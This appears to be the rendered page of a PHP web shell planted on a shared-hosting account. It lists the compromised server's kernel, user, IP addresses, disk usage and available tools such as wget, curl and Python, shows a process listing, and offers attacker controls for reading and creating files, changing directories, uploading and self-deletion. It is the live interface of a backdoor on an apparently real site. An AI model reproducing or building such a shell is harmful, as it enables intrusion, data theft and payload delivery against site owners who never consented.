kernel ⇒ Linux webm010.cluster110.gra.hosting.ovh.net 6.18.56-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Oct 13 12:27:42 CEST 2026 x86_64
disable function ⇒ _dyuweyrj4,_dyuweyrj4r,dl
whoami ⇒ liensain (uid=89819 gid=100)
server ip ⇒ 10.110.20.10your ip ⇒ 216.73.216.252
software ⇒ Apache
hdd ⇒ 8.45 GB / 14.32 GB
lib ⇒ GCCOFF WGETON cURLON PYTHONON PERLON
drives ⇒ This is Linux Lmao
/ home/[ drwxr-xr-xREADABLE0755 ] Self Delete Log Out

Process

USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
liensain  26735  0.9  0.0 16997132 169112 ?     S    03:12   0:00 php-fpm: pool liensain (php8.5)
liensain  27265  2.2  0.0 16996588 154336 ?     S    03:12   0:01 php-fpm: pool liensain (php8.5)
liensain  27552  1.8  0.0 16951188 81192 ?      S    03:12   0:01 php-fpm: pool liensain (php8.5)
liensain  28446  0.5  0.0 16951188 82204 ?      S    03:12   0:00 php-fpm: pool liensain (php8.5)
liensain  28451  0.4  0.0 16951188 84896 ?      S    03:12   0:00 php-fpm: pool liensain (php8.5)
liensain  28464  1.5  0.0 16951188 80920 ?      S    03:12   0:00 php-fpm: pool liensain (php8.5)
liensain  28473  1.0  0.0 16997208 174852 ?     S    03:12   0:00 php-fpm: pool liensain (php8.5)
liensain  28480  0.9  0.0 16997132 167820 ?     S    03:12   0:00 php-fpm: pool liensain (php8.5)
liensain  28484  9.5  0.0 16951188 80756 ?      S    03:12   0:04 php-fpm: pool liensain (php8.5)
liensain  28492  0.3  0.0 16951252 81184 ?      S    03:12   0:00 php-fpm: pool liensain (php8.5)
liensain  28694  2.1  0.0 16997136 167552 ?     S    03:12   0:00 php-fpm: pool liensain (php8.5)
liensain  36077  0.0  0.0   7668  2800 ?        R    03:13   0:00 ps aux
Create File ⮧
Change Dir ⮧
Read File ⮧
Create File ⮧
Uploader ⮧